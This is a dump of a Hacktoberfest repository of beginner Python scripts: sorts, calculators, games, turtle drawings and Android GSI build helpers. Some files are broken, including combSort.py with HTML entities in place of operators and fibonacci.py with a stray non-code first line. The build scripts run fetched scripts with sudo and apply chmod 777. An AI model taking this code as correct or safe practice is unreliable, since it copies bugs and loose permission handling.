Armstrong number or not 25 | def isArmstrong(m): 26 | 27 | n = order(m) 28 | temp = m 29 | sum = 0 30 | 31 | while (temp != 0): 32 | digit = temp % 10 33 | sum = sum + power(digit, n) 34 | temp = temp // 10 35 | 36 | # If condition satisfies 37 | return (sum == m) 38 | 39 | # Driver code 40 | num = int(input("Enter a number: ")) 41 | print(isArmstrong(num)) 42 | 43 | 44 | -------------------------------------------------------------------------------- /Hacktober2022/arrow_pattern.py: -------------------------------------------------------------------------------- 1 | x=13 2 | #x= int(input()) 3 | k=(x//2) 4 | 5 | for i in range (k+1): 6 | print((" "*(i))+("* "*(i+1))) 7 | for i in range (k): 8 | print((" "*(k-i-1))+("* "*(k-i))) 9 | -------------------------------------------------------------------------------- /Hacktober2022/assets/gsi.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | # (c) TechyMinati ( Aryan Sinha ) 4 | 5 | ROM_URL="" 6 | ROM_NAME="" 7 | 8 | echo "Type ROM URL (Direct Link)" 9 | read ROM_URL 10 | 11 | echo "Type ROM_NAME (eg, Generic, OxygenOS, MIUI, Flyme, ColorOS,Pixel etc)" 12 | read ROM_NAME 13 | 14 | echo "Building GSI" 15 | 16 | sudo ./ErfanGSIs/url2GSI.sh $ROM_URL $ROM_NAME 17 | -------------------------------------------------------------------------------- /Hacktober2022/beer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | age = int(input("How old are you? ")) 3 | 4 | if age < 18: 5 | print("You are too young to drink beer.") 6 | else: 7 | print("Enjoy! 🍺") 8 | -------------------------------------------------------------------------------- /Hacktober2022/bogoSort.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def bogoSort(a): 4 | n = len(a) 5 | while (is_sorted(a)== False): 6 | shuffle(a) 7 | 8 | def is_sorted(a): 9 | n = len(a) 10 | for i in range(0, n-1): 11 | if (a[i] > a[i+1] ): 12 | return False 13 | return True 14 | 15 | def shuffle(a): 16 | n = len(a) 17 | for i in range (0,n): 18 | r = random.randint(0,n-1) 19 | a[i], a[r] = a[r], a[i] 20 | 21 | a = [3, 2, 4, 1, 0, 5] 22 | bogoSort(a) 23 | print("Sorted array :") 24 | for i in range(len(a)): 25 | print ("%d" %a[i]), 26 | -------------------------------------------------------------------------------- /Hacktober2022/bubblesort.py: -------------------------------------------------------------------------------- 1 | # Python program for implementation of Bubble Sort 2 | 3 | def bubbleSort(arr): 4 | n = len(arr) 5 | # optimize code, so if the array is already sorted, it doesn't need 6 | # to go through the entire process 7 | swapped = False 8 | # Traverse through all array elements 9 | for i in range(n-1): 10 | # range(n) also work but outer loop will 11 | # repeat one time more than needed. 12 | # Last i elements are already in place 13 | for j in range(0, n-i-1): 14 | 15 | # traverse the array from 0 to n-i-1 16 | # Swap if the element found is greater 17 | # than the next element 18 | if arr[j] > arr[j + 1]: 19 | swapped = True 20 | arr[j], arr[j + 1] = arr[j + 1], arr[j] 21 | 22 | if not swapped: 23 | # if we haven't needed to make a single swap, we 24 | # can just exit the main loop. 25 | return 26 | 27 | 28 | # Driver code to test above 29 | arr = [64, 34, 25, 12, 22, 11, 90] 30 | 31 | bubbleSort(arr) 32 | 33 | print("Sorted array is:") 34 | for i in range(len(arr)): 35 | print("% d" % arr[i], end=" ") 36 | -------------------------------------------------------------------------------- /Hacktober2022/calculator.py: -------------------------------------------------------------------------------- 1 | # This function adds two numbers 2 | def add(x, y): 3 | return x + y 4 | 5 | # This function subtracts two numbers 6 | def subtract(x, y): 7 | return x - y 8 | 9 | # This function multiplies two numbers 10 | def multiply(x, y): 11 | return x * y 12 | 13 | # This function divides two numbers 14 | def divide(x, y): 15 | return x / y 16 | 17 | 18 | print("What do you want to do?") 19 | print("1.Add") 20 | print("2.Subtract") 21 | print("3.Multiply") 22 | print("4.Divide") 23 | 24 | while True: 25 | # take input from the user 26 | choice = input("Enter choice(1/2/3/4): ") 27 | 28 | # check if choice is one of the four options 29 | if choice in ('1', '2', '3', '4'): 30 | num1 = float(input("Enter first number: ")) 31 | num2 = float(input("Enter second number: ")) 32 | 33 | if choice == '1': 34 | print(num1, "added to", num2) 35 | print("Sum:", add(num1, num2)) 36 | 37 | elif choice == '2': 38 | print(num2, "subtracted from", num1) 39 | print("Difference:", subtract(num1, num2)) 40 | 41 | elif choice == '3': 42 | print(num1, "multiplied", num2) 43 | print("Product:", multiply(num1, num2)) 44 | 45 | elif choice == '4': 46 | print(num1, "divided by", num2) 47 | print("Result:", divide(num1, num2)) 48 | 49 | else: 50 | print("Invalid input, retrying") #if the value isn't one of the four options 51 | continue 52 | # check if user wants another calculation 53 | while True: 54 | another = input("Another calculation?(y/N)") 55 | if another == 'y': 56 | break 57 | elif another == 'n': 58 | print("Thank you!") 59 | exit() 60 | else: 61 | print("Thank you!") 62 | exit() 63 | -------------------------------------------------------------------------------- /Hacktober2022/celcius_tofarenheit.py: -------------------------------------------------------------------------------- 1 | # Ask user to enter temprature in celsius 2 | celsius = input("Enter temprature in celsius: ") 3 | 4 | # convert to integer 5 | celsius = int(celsius) 6 | 7 | # formula 8 | fahrenheit = (celsius * 1.8) + 32 9 | 10 | #finally print 11 | print('%.2f Celsius is equivalent to: %.2f Fahrenheit' 12 | %(celsius, fahrenheit)) 13 | -------------------------------------------------------------------------------- /Hacktober2022/clock.py: -------------------------------------------------------------------------------- 1 | from tkinter import Label, Tk 2 | import time 3 | app_window = Tk() 4 | app_window.title("Digital Clock") 5 | app_window.geometry("420x150") 6 | app_window.resizable(1,1) 7 | 8 | text_font= ("Boulder", 68, 'bold') 9 | background = "#f2e750" 10 | foreground= "#363529" 11 | border_width = 25 12 | 13 | label = Label(app_window, font=text_font, bg=background, fg=foreground, bd=border_width) 14 | label.grid(row=0, column=1) 15 | 16 | def digital_clock(): 17 | time_live = time.strftime("%H:%M:%S") 18 | label.config(text=time_live) 19 | label.after(200, digital_clock) 20 | 21 | digital_clock() 22 | app_window.mainloop() 23 | -------------------------------------------------------------------------------- /Hacktober2022/colordetect.py: -------------------------------------------------------------------------------- 1 | from cv2 import cv2 2 | import numpy as np 3 | 4 | # Capturing Video through webcam. 5 | cap = cv2.VideoCapture(0) 6 | 7 | while(1): 8 | _, img = cap.read() 9 | 10 | # converting frame(img) from BGR (Blue-Green-Red) to HSV (hue-saturation-value) 11 | hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) 12 | 13 | # defining the range of Yellow color 14 | red_lower = np.array([0, 100, 100], np.uint8) 15 | red_upper = np.array([2, 255, 255], np.uint8) 16 | red = cv2.inRange(hsv, red_lower, red_upper) 17 | 18 | # Morphological transformation, Dilation 19 | kernal = np.ones((5, 5), "uint8") 20 | res = cv2.bitwise_and(img, img, mask=red) 21 | 22 | # Tracking Colour (Yellow) 23 | (contours, hierarchy) = cv2.findContours( 24 | red, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) 25 | 26 | for pic, contour in enumerate(contours): 27 | area = cv2.contourArea(contour) 28 | if(area > 900): 29 | 30 | x, y, w, h = cv2.boundingRect(contour) 31 | img = cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 3) 32 | 33 | # show color detection result 34 | cv2.imshow("Color Tracking", img) 35 | cv2.imshow("Red", res) 36 | 37 | if cv2.waitKey(10) & 0xFF == 27: 38 | cap.release() 39 | cv2.destroyAllWindows() 40 | break 41 | -------------------------------------------------------------------------------- /Hacktober2022/combSort.py: -------------------------------------------------------------------------------- 1 | def getNextGap(gap): 2 | 3 | gap = (gap * 10)/13 4 | if gap & lt 5 | 1: 6 | return 1 7 | return gap 8 | 9 | 10 | 11 | def combSort(arr): 12 | n = len(arr) 13 | 14 | gap = n 15 | 16 | swapped = True 17 | 18 | while gap != 1 or swapped == 1: 19 | 20 | gap = getNextGap(gap) 21 | 22 | swapped = False 23 | 24 | for i in range(0, n-gap): 25 | if arr[i] & gt 26 | arr[i + gap]: 27 | arr[i], arr[i + gap] = arr[i + gap], arr[i] 28 | swapped = True 29 | 30 | 31 | arr = [8, 4, 1, 3, -44, 23, -6, 28, 0] 32 | combSort(arr) 33 | 34 | print ( & quot 35 | Sorted array: & quot 36 | ) 37 | for i in range(len(arr)): 38 | print(arr[i]), 39 | -------------------------------------------------------------------------------- /Hacktober2022/compound_interest.py: -------------------------------------------------------------------------------- 1 | print("Compound Interest Calculator (yearly)") 2 | p = int(input("Enter the principal amount: ")) 3 | r = float(input("Enter the rate of interest per year (%): ")) 4 | n = float(input("Enter time period (years): ")) 5 | ci = p * ((1+r/100) ** n) 6 | print("Compound Interest:", round(ci, 2)) 7 | -------------------------------------------------------------------------------- /Hacktober2022/copy_file.py: -------------------------------------------------------------------------------- 1 | print("Enter the Name of Source File: ") 2 | sFile = input() 3 | print("Enter the Name of Target File: ") 4 | tFile = input() 5 | 6 | fileHandle = open(sFile, "r") 7 | texts = fileHandle.readlines() 8 | fileHandle.close() 9 | 10 | fileHandle = open(tFile, "w") 11 | for s in texts: 12 | fileHandle.write(s) 13 | fileHandle.close() 14 | 15 | print("\nFile Copied Successfully!") -------------------------------------------------------------------------------- /Hacktober2022/countdown_time.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | 4 | def countdown(t): 5 | while t: 6 | mins, secs = divmod(t, 60) 7 | timer = "{:02d}:{:02d}".format(mins, secs) 8 | print(timer, end="\r") 9 | time.sleep(1) 10 | t -= 1 11 | print("Lift off!") 12 | 13 | 14 | t = input("Enter the time in seconds: ") 15 | countdown(int(t)) 16 | -------------------------------------------------------------------------------- /Hacktober2022/divide.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # Divyanshu-Modi 3 | 4 | # Take Input of two numbers from the user 5 | n1 = input('Enter first number: ') 6 | n2 = input('Enter second number: ') 7 | 8 | # multiply the two numbers taken from the user 9 | product = float(n1) / float(n2) 10 | 11 | # Display the product of two numbers 12 | print('The Quotient is {0}'.format(product)) -------------------------------------------------------------------------------- /Hacktober2022/env.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | # (c) CyberJalagam 4 | 5 | import os 6 | import sys 7 | print ("==========================================") 8 | print (" Android ROM Environment setup ") 9 | print ("==========================================") 10 | n=input("Press Y to Continue, N to Exit: ") 11 | if (n == "Y") or (n == "y"): 12 | print("Installing essential packages") 13 | os.system("sudo apt-get instal adb autoconf automake axel bc bison build-essential ccache clang cmake expat fastboot flex g++ g++-multilib gawk gcc gcc-multilib git gnupg gperf htop imagemagick lib32ncurses5-dev lib32z1-dev libtinfo5 libc6-dev libcap-dev libexpat1-dev libgmp-dev '^liblz4-.*' '^liblzma.*' libmpc-dev libmpfr-dev libncurses5-dev libsdl1.2-dev libssl-dev libtool libxml2 libxml2-utils '^lzma.*' lzop maven ncftp ncurses-dev patch patchelf pkg-config pngcrush pngquant python2.7 python-all-dev re2c schedtool squashfs-tools subversion texinfo unzip w3m xsltproc zip zlib1g-dev lzip libxml-simple-perl apt-utils -y") 14 | print("Installing repo") 15 | os.system('sudo curl --create-dirs -L -o /usr/local/bin/repo -O -L https://storage.googleapis.com/git-repo-downloads/repo') 16 | os.system('sudo chmod a+rx /usr/local/bin/repo') 17 | print("Build environment is complete!") 18 | else: 19 | print(" Thank you for using this script!, Run again if you wish to.") -------------------------------------------------------------------------------- /Hacktober2022/extract-ikconfig.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys, gzip, zlib 4 | 5 | IKCFG = b"IKCFG_ST\037\213\010" 6 | 7 | if len(sys.argv) < 2: 8 | print("Usage: extract-ikconfig.py ") 9 | exit() 10 | 11 | def find_ikcfg_offset(fil): 12 | read = f.read() 13 | ret = read.find(IKCFG) 14 | f.seek(0) 15 | return ret 16 | 17 | with gzip.open(sys.argv[1], 'rb') as f: 18 | offset = find_ikcfg_offset(f) 19 | f.seek(offset+8) 20 | f = f.read() 21 | # https://mail.python.org/pipermail/python-bugs-list/2015-May/273371.html 22 | unzipped = zlib.decompress(f, zlib.MAX_WBITS|16) 23 | print(unzipped.decode("utf-8")) 24 | -------------------------------------------------------------------------------- /Hacktober2022/factorial.py: -------------------------------------------------------------------------------- 1 | # Python program to find the factorial of a number provided by the user. 2 | 3 | # change the value for a different result 4 | num = 7 5 | 6 | # To take input from the user 7 | #num = int(input("Enter a number: ")) 8 | 9 | factorial = 1 10 | 11 | # check if the number is negative, positive or zero 12 | if num < 0: 13 | print("Sorry, factorial does not exist for negative numbers") 14 | elif num == 0: 15 | print("The factorial of 0 is 1") 16 | else: 17 | for i in range(1,num + 1): 18 | factorial = factorial*i 19 | print("The factorial of",num,"is",factorial) 20 | -------------------------------------------------------------------------------- /Hacktober2022/fakeProfileGenerator.py: -------------------------------------------------------------------------------- 1 | from faker import Faker 2 | fake = Faker() 3 | print(fake.name()) 4 | print(fake.email()) 5 | print(fake.country()) 6 | 7 | print(fake.profile()) -------------------------------------------------------------------------------- /Hacktober2022/fibonacci.py: -------------------------------------------------------------------------------- 1 | By: @agam778 2 | input_number = int(input("Enter the number of fibonacci numbers to be generated: ")) 3 | first_number = 0 4 | second_number = 1 5 | print() 6 | print("Fibonacci series of", input_number, "numbers is:") 7 | print(first_number) 8 | print(second_number) 9 | for i in range(2, input_number): 10 | next_number = first_number + second_number 11 | print(next_number) 12 | first_number = second_number 13 | second_number = next_number 14 | nterms = int(input("How many terms? ")) 15 | 16 | # first two terms 17 | n1, n2 = 0, 1 18 | count = 0 19 | 20 | # check if the number of terms is valid 21 | if nterms <= 0: 22 | print("Please enter a positive integer") 23 | # if there is only one term, return n1 24 | elif nterms == 1: 25 | print("Fibonacci sequence upto",nterms,":") 26 | print(n1) 27 | # generate fibonacci sequence 28 | else: 29 | print("Fibonacci sequence:") 30 | while count < nterms: 31 | print(n1) 32 | nth = n1 + n2 33 | # update values 34 | n1 = n2 35 | n2 = nth 36 | count += 1 37 | -------------------------------------------------------------------------------- /Hacktober2022/fidget_spinner.py: -------------------------------------------------------------------------------- 1 | from turtle import * 2 | state = {'turn': 0} 3 | def spinner(): 4 | clear() 5 | angle = state['turn']/10 6 | right(angle) 7 | forward(100) 8 | dot(120, 'red') 9 | back(100) 10 | right(120) 11 | forward(100) 12 | dot(120, 'green') 13 | back(100) 14 | right(120) 15 | forward(100) 16 | dot(120, 'blue') 17 | back(100) 18 | right(120) 19 | update() 20 | def animate(): 21 | if state['turn']>0: 22 | state['turn']-=1 23 | 24 | spinner() 25 | ontimer(animate, 20) 26 | def flick(): 27 | state['turn']+=10 28 | 29 | setup(420, 420, 370, 0) 30 | hideturtle() 31 | tracer(False) 32 | width(20) 33 | onkey(flick, 'space') 34 | listen() 35 | animate() 36 | done() 37 | 38 | # Coded with 💙 by Mr. Unity Buddy 39 | -------------------------------------------------------------------------------- /Hacktober2022/file_organiser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ''' 3 | Files Organiser 4 | Author: Shanmukha Vishnu 5 | gitub: @iam-shanmukha 6 | twitter: @iam_shanmukha 7 | ''' 8 | import os 9 | import shutil 10 | 11 | doc_extensions=[".txt",".docx",".doc",".xls",".xls",".csv"] 12 | compress_ext =[".zip",".rar",".zst",".gz",".xz"] 13 | vids_ext=[".mp4",".avi",".mkv"] 14 | pic_ext=[".png",".jpg",".jpeg"] 15 | softwares_ext = [".AppImage",".deb"] 16 | audio_ext=[".mp3",".ogg",".wav",".m4a"] 17 | 18 | #list present working directory files and folders 19 | #ls = files+folders 20 | ls=os.listdir() 21 | def create_dirs(): 22 | directories = ["Pdfs", "Pictures", "Videos", "compressed_Files", "Documents", "Py_files", "softwares", "Audios"] 23 | for directory in directories: 24 | if directory in ls: 25 | print(f"{directory} directory exists...skipping ") 26 | else: 27 | print(f"Creating {directory} Directory") 28 | os.mkdir(directory) 29 | create_dirs() 30 | 31 | for file in ls: 32 | try: 33 | 34 | if file.endswith(".pdf"): 35 | shutil.move(file, "Pdfs") 36 | print(f"{file} files moved successfully") 37 | elif file.endswith(tuple(pic_ext)): 38 | shutil.move(file, "Pictures") 39 | print(f"{file} files moved successfully") 40 | elif file.endswith(tuple(vids_ext)): 41 | shutil.move(file, "Videos") 42 | print(f"{file} files moved successfully") 43 | elif file.endswith(tuple(compress_ext)): 44 | shutil.move(file, "compressed_Files") 45 | print(f"{file} files moved successfully") 46 | elif file.endswith(tuple(doc_extensions)): 47 | shutil.move(file, "compressed_Files") 48 | print(f"{file} files moved successfully") 49 | elif file.endswith(tuple(softwares_ext)): 50 | shutil.move(file, "softwares") 51 | print(f"{file} files moved successfully") 52 | elif file.endswith(tuple(audio_ext)): 53 | shutil.move(file, "Audios") 54 | print(f"{file} files moved successfully") 55 | elif file.endswith(".py"): 56 | if file == "organiser.py": 57 | continue 58 | shutil.move(file, "Py_files") 59 | print(f"{file} files moved successfully") 60 | except shutil.Error as E: 61 | print("ERROR",E) 62 | continue -------------------------------------------------------------------------------- /Hacktober2022/game.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | def game1(): 4 | print('Welcome to the game. Please follow the instructions carefully') 5 | print('Enter lower and upper limit. Both are inclusive') 6 | print('\nYou have 6 tries to guess the number') 7 | 8 | lower_limit = int(input('Enter lower limit : ')) 9 | upper_limit = int(input('Enter upper limit : ')) 10 | 11 | if upper_limit < lower_limit: 12 | print('Entered limits are not correct') 13 | upper_limit = int(input('Enter upper limit : ')) 14 | lower_limit = int(input('Enter lower limit : ')) 15 | 16 | if upper_limit - lower_limit < 7: 17 | print('Differnce between limits should be more than 6') 18 | lower_limit = int(input('Enter lower limit : ')) 19 | upper_limit = int(input('Enter upper limit : ')) 20 | 21 | ans = random.randrange(lower_limit,upper_limit+1) 22 | 23 | for i in range(6): 24 | user_input = int(input('Guess the number : ')) 25 | if user_input < ans : 26 | print('The number is greater than your guess') 27 | elif user_input > ans : 28 | print('The number is smaller than your guess') 29 | else: 30 | print('you have guessed in',(i+1),'tries') 31 | print('you have guessed the number correctly') 32 | break 33 | else: 34 | print("You couldn't guess the number correctly. ") 35 | print('Number was', ans) 36 | 37 | game1() 38 | -------------------------------------------------------------------------------- /Hacktober2022/gsi.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # SPDX-License-Identifier: GPL-3.0-or-later 3 | # (c) TechyMinati ( Aryan Sinha ) 4 | import os 5 | import sys 6 | print ("==========================================") 7 | print (" Welcome to sGSI Building Script ") 8 | print ("==========================================") 9 | n=input("Press Y to Proceed, N to Abort: ") 10 | if (n=="Y") or (n=="y") : 11 | print("Cloning ErfanGSIs Sourcecode") 12 | print (" Warning: this is a Fork of ErfanGSIs, Adapted for our Usage") 13 | os.system('git clone --recurse-submodules https://github.com/sinhaaryan03/ErfanGSIs') 14 | os.system('sudo chmod -R 777 ErfanGSIs') 15 | import time 16 | print ("Initialising enviroment for GSI Building") 17 | time.sleep(5) 18 | print ("Enviroment Initialised") 19 | os.system('cd ErfanGSIs && sudo bash setup.sh') 20 | print("==========================================") 21 | print(" Are you ready to Build GSI?") 22 | print("==========================================") 23 | os.system('sudo bash assets/gsi.sh') 24 | n=input("Press Y to Proceed, N to Abort: ") 25 | if (n=="Y") or (n=="y") : 26 | import time 27 | print("==========================================") 28 | print(" Initialising to Build GSI") 29 | print("==========================================") 30 | time.sleep(5) 31 | print("==========================================") 32 | print(" GSI Build Successfully, find it On ErfanGSIs/output ") 33 | print("==========================================") 34 | else: 35 | import time 36 | time.sleep(5) 37 | print("Thanks for using the Tool") 38 | print("If you want to restart GSI Building") 39 | print("re-run this script") -------------------------------------------------------------------------------- /Hacktober2022/guess-the-number.py: -------------------------------------------------------------------------------- 1 | import random 2 | system = random.randint(0, 10) 3 | score = 100 4 | while True: 5 | try: 6 | player = int(input("guess a no between 1 to 10 \n")) 7 | if player == system: 8 | print("Damn you are genius") 9 | break 10 | 11 | elif player > 10: 12 | print("Bro I said 1 to 10") 13 | score -= 10 14 | 15 | elif player > system: 16 | print(f"Nope the number is lesser than {player}") 17 | score -= 10 18 | 19 | 20 | elif player < system: 21 | print(f"Nope the number is greater than {player}") 22 | score -= 10 23 | except: 24 | print("Atleast type a correct spelling") 25 | 26 | print(f" So your score is {score}") 27 | -------------------------------------------------------------------------------- /Hacktober2022/heap_sort.py: -------------------------------------------------------------------------------- 1 | # Python program for implementation of heap Sort 2 | 3 | # Function to heapify subtree of size n rooted at index i 4 | def heapify(arr, N, i): 5 | largest = i # Initialize largest as root 6 | l = 2 * i + 1 # left = 2*i + 1 7 | r = 2 * i + 2 # right = 2*i + 2 8 | 9 | # See if left child of root exists and is 10 | # greater than root 11 | if l < N and arr[largest] < arr[l]: 12 | largest = l 13 | 14 | # See if right child of root exists and is 15 | # greater than root 16 | if r < N and arr[largest] < arr[r]: 17 | largest = r 18 | 19 | # Change root, if needed 20 | if largest != i: 21 | arr[i], arr[largest] = arr[largest], arr[i] # swap 22 | 23 | # Heapify the root. 24 | heapify(arr, N, largest) 25 | 26 | #Function to implement Heap Sort 27 | def heapSort(arr): 28 | N = len(arr) 29 | 30 | # Build a maxheap. 31 | for i in range(N//2 - 1, -1, -1): 32 | heapify(arr, N, i) 33 | 34 | # One by one extract elements 35 | for i in range(N-1, 0, -1): 36 | arr[i], arr[0] = arr[0], arr[i] # swap 37 | heapify(arr, i, 0) 38 | 39 | # Driver's code 40 | if __name__ == '__main__': 41 | arr = [12, 11, 13, 5, 6, 7,-3,-2,-3,-42,3223,-2424,-243] 42 | # Function call 43 | heapSort(arr) 44 | N = len(arr) 45 | 46 | print("Sorted array is") 47 | for i in range(N): 48 | print("%d" % arr[i], end=" ") -------------------------------------------------------------------------------- /Hacktober2022/imagesketch.py: -------------------------------------------------------------------------------- 1 | import cv2 2 | image = cv2.imread("profile.jpg") #Import the image 3 | grey_img = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) #Add grey filter. 4 | invert = cv2.bitwise_not(grey_img) #Add inverted filter. 5 | blur = cv2.GaussianBlur(invert,(21,21),0) #Add Blur effect 6 | invertedblur = cv2.bitwise_not(blur) 7 | sketch = cv2.divide(grey_img, invertedblur, scale = 256.0) 8 | cv2.imwrite("profile_sketch.png", sketch) #Export the sketch image 9 | -------------------------------------------------------------------------------- /Hacktober2022/img_to_pdf.py: -------------------------------------------------------------------------------- 1 | import os 2 | from fpdf import FPDF 3 | 4 | # Place Your Images In The Images Folder. 5 | def converter(): 6 | img_files = os.listdir('images/') 7 | print('files to be converted: ', img_files) 8 | pdf = FPDF() 9 | for image in img_files: 10 | pdf.add_page() 11 | pdf.image('images/' + image) 12 | pdf.output('converted.pdf', 'F') 13 | 14 | 15 | if __name__ == '__main__': 16 | converter() 17 | -------------------------------------------------------------------------------- /Hacktober2022/indianFlag.py: -------------------------------------------------------------------------------- 1 | import turtle 2 | from turtle import* 3 | 4 | #screen for output 5 | screen = turtle.Screen() 6 | 7 | # Defining a turtle Instance 8 | t = turtle.Turtle() 9 | speed(0) 10 | 11 | # initially penup() 12 | t.penup() 13 | t.goto(-400, 250) 14 | t.pendown() 15 | 16 | # Orange Rectangle 17 | #white rectangle 18 | t.color("orange") 19 | t.begin_fill() 20 | t.forward(800) 21 | t.right(90) 22 | t.forward(167) 23 | t.right(90) 24 | t.forward(800) 25 | t.end_fill() 26 | t.left(90) 27 | t.forward(167) 28 | 29 | # Green Rectangle 30 | t.color("green") 31 | t.begin_fill() 32 | t.forward(167) 33 | t.left(90) 34 | t.forward(800) 35 | t.left(90) 36 | t.forward(167) 37 | t.end_fill() 38 | 39 | # Big Blue Circle 40 | t.penup() 41 | t.goto(70, 0) 42 | t.pendown() 43 | t.color("navy") 44 | t.begin_fill() 45 | t.circle(70) 46 | t.end_fill() 47 | 48 | # Big White Circle 49 | t.penup() 50 | t.goto(60, 0) 51 | t.pendown() 52 | t.color("white") 53 | t.begin_fill() 54 | t.circle(60) 55 | t.end_fill() 56 | 57 | # Mini Blue Circles 58 | t.penup() 59 | t.goto(-57, -8) 60 | t.pendown() 61 | t.color("navy") 62 | for i in range(24): 63 | t.begin_fill() 64 | t.circle(3) 65 | t.end_fill() 66 | t.penup() 67 | t.forward(15) 68 | t.right(15) 69 | t.pendown() 70 | 71 | # Small Blue Circle 72 | t.penup() 73 | t.goto(20, 0) 74 | t.pendown() 75 | t.begin_fill() 76 | t.circle(20) 77 | t.end_fill() 78 | # Spokes 79 | t.penup() 80 | t.goto(0, 0) 81 | t.pendown() 82 | t.pensize(2) 83 | for i in range(24): 84 | t.forward(60) 85 | t.backward(60) 86 | t.left(15) 87 | 88 | #to hold the 89 | #output window 90 | turtle.done() 91 | -------------------------------------------------------------------------------- /Hacktober2022/km.py: -------------------------------------------------------------------------------- 1 | # Taking kilometers input from the user 2 | kilometers = float(input("Enter value in kilometers: ")) 3 | 4 | # conversion factor 5 | conv_fac = 0.621371 6 | 7 | # calculate miles 8 | miles = kilometers * conv_fac 9 | print('%0.2f kilometers is equal to %0.2f miles' %(kilometers,miles)) 10 | -------------------------------------------------------------------------------- /Hacktober2022/largest_element_array.py: -------------------------------------------------------------------------------- 1 | # Python program to find maximum 2 | # in arr[] of size n 3 | 4 | # python function to find maximum 5 | # in arr[] of size n 6 | 7 | 8 | def largest(arr, n): 9 | 10 | # Initialize maximum element 11 | max = arr[0] 12 | 13 | # Traverse array elements from second 14 | # and compare every element with 15 | # current max 16 | for i in range(1, n): 17 | if arr[i] > max: 18 | max = arr[i] 19 | return max 20 | 21 | 22 | # Driver Code 23 | arr = [10, 324, 45, 90, 9808] 24 | n = len(arr) 25 | Ans = largest(arr, n) 26 | print("Largest in given array ", Ans) 27 | 28 | 29 | -------------------------------------------------------------------------------- /Hacktober2022/leap-year.py: -------------------------------------------------------------------------------- 1 | year = int(input("Enter the year to check if it is a leap year\n")) 2 | if year % 400 == 0 or year % 100 != 0 and year % 4 == 0 : 3 | print(year, "is a leap year") 4 | else : 5 | print(year, "isn't a leap year") 6 | -------------------------------------------------------------------------------- /Hacktober2022/leapyear.py: -------------------------------------------------------------------------------- 1 | # Python program to check if year is a leap year or not 2 | 3 | year = 2000 4 | 5 | # To get year (integer input) from the user 6 | # year = int(input("Enter a year: ")) 7 | 8 | # divided by 100 means century year (ending with 00) 9 | # century year divided by 400 is leap year 10 | if (year % 400 == 0) and (year % 100 == 0): 11 | print("{0} is a leap year".format(year)) 12 | 13 | # not divided by 100 means not a century year 14 | # year divided by 4 is a leap year 15 | elif (year % 4 ==0) and (year % 100 != 0): 16 | print("{0} is a leap year".format(year)) 17 | 18 | # if not divided by both 400 (century year) and 4 (not century year) 19 | # year is not leap year 20 | else: 21 | print("{0} is not a leap year".format(year)) 22 | -------------------------------------------------------------------------------- /Hacktober2022/leetcode-1578.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def minCost(self, colors: str, cost: List[int]) -> int: 3 | 4 | res = 0 5 | for i in range(1, len(colors)): 6 | if colors[i] == colors[i-1]: 7 | res += min(cost[i], cost[i-1]) 8 | cost[i] = max(cost[i], cost[i-1]) 9 | 10 | return res 11 | -------------------------------------------------------------------------------- /Hacktober2022/level_order_traversal.py: -------------------------------------------------------------------------------- 1 | # Python program to print level order traversal using Queue 2 | 3 | # Time Complexity: O(n) 4 | # Space Complexity: O(n) 5 | 6 | 7 | # A node structure 8 | class Node: 9 | # A utility function to create a new node 10 | def __init__(self, key): 11 | self.data = key 12 | self.left = None 13 | self.right = None 14 | 15 | # Iterative Method to print the height of a binary tree 16 | def printLevelOrder(root): 17 | # Base Case 18 | if root is None: 19 | return 20 | 21 | # Create an empty queue 22 | # for level order traversal 23 | queue = [] 24 | 25 | # Enqueue Root and initialize height 26 | queue.append(root) 27 | 28 | while(len(queue) > 0): 29 | 30 | # Print front of queue and 31 | # remove it from queue 32 | print(queue[0].data, end = " ") 33 | node = queue.pop(0) 34 | 35 | # Enqueue left child 36 | if node.left is not None: 37 | queue.append(node.left) 38 | 39 | # Enqueue right child 40 | if node.right is not None: 41 | queue.append(node.right) 42 | 43 | 44 | # Driver Program to test above function 45 | root = Node(1) 46 | root.left = Node(2) 47 | root.right = Node(3) 48 | root.left.left = Node(4) 49 | root.left.right = Node(5) 50 | root.right.left = Node(6) 51 | root.right.right = Node(7) 52 | root.right.left.right = Node(8) 53 | root.right.right.right = Node(9) 54 | 55 | print("Level Order Traversal of binary tree is -") 56 | printLevelOrder(root) 57 | -------------------------------------------------------------------------------- /Hacktober2022/longest_common_prefix.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def longestCommonPrefix(self, strs: List[str]) -> str: 3 | result = "" 4 | 5 | if len(strs) == 1: 6 | return strs[0] 7 | 8 | if strs[0] == "" or len(strs) == 0: 9 | return "" 10 | 11 | for i in range(len(strs[0])): 12 | allOk = False 13 | temp = strs[0][i] 14 | 15 | for j in range(1, len(strs)): 16 | if len(strs[j]) >= (i + 1): 17 | if strs[j][i] == temp: 18 | allOk = True 19 | else: 20 | allOk = False 21 | break 22 | else: 23 | return result 24 | 25 | if allOk == True: 26 | result += temp 27 | elif allOk == False: 28 | return result 29 | 30 | return result 31 | 32 | # https://leetcode.com/problems/longest-common-prefix/discuss/2236438/Easy-Python-Solution-(45ms) -------------------------------------------------------------------------------- /Hacktober2022/longest_common_substring.py: -------------------------------------------------------------------------------- 1 | # Function to find Longest Common Sub-string 2 | 3 | from difflib import SequenceMatcher 4 | 5 | def longestSubstring(str1,str2): 6 | 7 | # initialize SequenceMatcher object with 8 | # input string 9 | seqMatch = SequenceMatcher(None,str1,str2) 10 | 11 | # find match of longest sub-string 12 | # output will be like Match(a=0, b=0, size=5) 13 | match = seqMatch.find_longest_match(0, len(str1), 0, len(str2)) 14 | 15 | # print longest substring 16 | if (match.size!=0): 17 